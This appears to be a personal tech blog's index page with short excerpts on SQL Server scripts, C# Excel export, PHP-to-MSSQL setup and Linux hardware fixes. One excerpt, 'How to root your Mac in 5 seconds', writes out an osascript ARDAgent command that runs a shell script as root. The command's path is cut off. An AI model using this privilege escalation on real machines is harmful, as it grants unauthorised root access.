How to generate Excel from SQL data with Unicode characters

private void ExportToExcel(string strFileName, DataGrid dg) { Response.ClearContent(); Response.ContentType = “application/excel”; Response.AddHeader(“content-disposition”, “attachment; filename=” + strFileName); Response.Charset = “”; Response.ContentEncoding = System.Text.Encoding.Unicode; Response.BinaryWrite(System.Text.Encoding.Unicode.GetPreamble()); this.EnableViewState = false; System.IO.StringWriter sw = new System.IO.StringWriter(); HtmlTextWriter htw = new HtmlTextWriter(sw); dg.RenderControl(htw); Response.Write(sw.ToString()); Response.End(); }

remove duplicates

1. create another identical table (lazy way: right-click table, script table as, create to, new query editor window) 2. rename constraints 3. create unique index removeduplicates on newtab (uniqfield) with IGNORE_DUP_KEY 4. insert * from oldtab into newtab You’ll get a warning “ignoring duplicate field” which is good.

search and replace in all tables

SET NOCOUNT ON DECLARE @stringToFind NVARCHAR(100) DECLARE @stringToReplace NVARCHAR(100) DECLARE @schema sysname DECLARE @table sysname DECLARE @count INT DECLARE @sqlCommand NVARCHAR(max) DECLARE @where NVARCHAR(max) DECLARE @columnName sysname DECLARE @object_id INT SET @stringToFind = ‘Smith’ SET @stringToReplace = ‘Jones’ DECLARE TAB_CURSOR CURSOR FOR SELECT B.NAME AS SCHEMANAME, A.NAME AS TABLENAME, A.OBJECT_ID FROM sys.objects A INNER JOIN […]

Find / change the datatype for multiple columns/tables

Find all columns of type datetime: DECLARE @DataType VARCHAR(50) SELECT @DataType = ‘datetime’ SELECT * FROM Information_Schema.Columns WHERE Data_Type = @DataType order by table_name Find all varchar columns, change to nvarchar: — SQL 2005 SELECT ‘ALTER TABLE ‘ + quotename( + ‘ ALTER COLUMN ‘ + quotename( + ‘ nvarchar(‘ + ltrim(str(c.max_length)) + ‘) ‘ […]

Running SLES from an USB key

This is a simple attempt to build an easily replaceable and cheap storage server. Cheap means a lot of SATA drives in RAID1 or 5 with both disks and controller expected to fail miserably at any time. Linux makes booting from a RAID array unnecessary difficult (even if it’s in a mirror config, c’mon Windows […]

How to connect to MS SQL from PHP

1. Install FreeTDS. (./configure && make && make install) 2. Install PHP with freetds support (./configure –with-sybase=DIR, where DIR is wherever you placed freetds usually /usr/local) 3. Read a bit of /etc/freetds.conf (not mandatory) 4. ini_set(‘mssql.secure_connection’,’On’); $con = mssql_connect (“”, “user”, “pass”) or die (“Could not connect to SQL server”); //.mssql_get_last_message() mssql_select_db (“thedb”, $con) or […]

Ubuntu on an Acer Aspire 5315

Apparently the wireless card on this model is very stubborn, quick HOWTO: #-1 madwifi doesn’t work, be it stable version or svn commit up to 3745 #0 upgrade to the latest packages (kernel 2.6.24-19, ndiswrapper 1.50) #1 rmmod ath_pci, ath_rate_sample, ath_hal, wlan, everything until you’re sure there there are no wireless modules loaded #2 mcedit […]

How to root your Mac in 5 seconds

Maybe 10 if you’re a slow typist. In short: osascript -e ‘tell app “ARDAgent” to do shell script “/Applications/”‘ You might get a few screenfulls of errors but the command WILL execute: This is by far the dumbest bug I’ve encountered in the past decade, and one that makes me appreciate for the first time […]

Bad Behavior has blocked 85 access attempts in the last 7 days.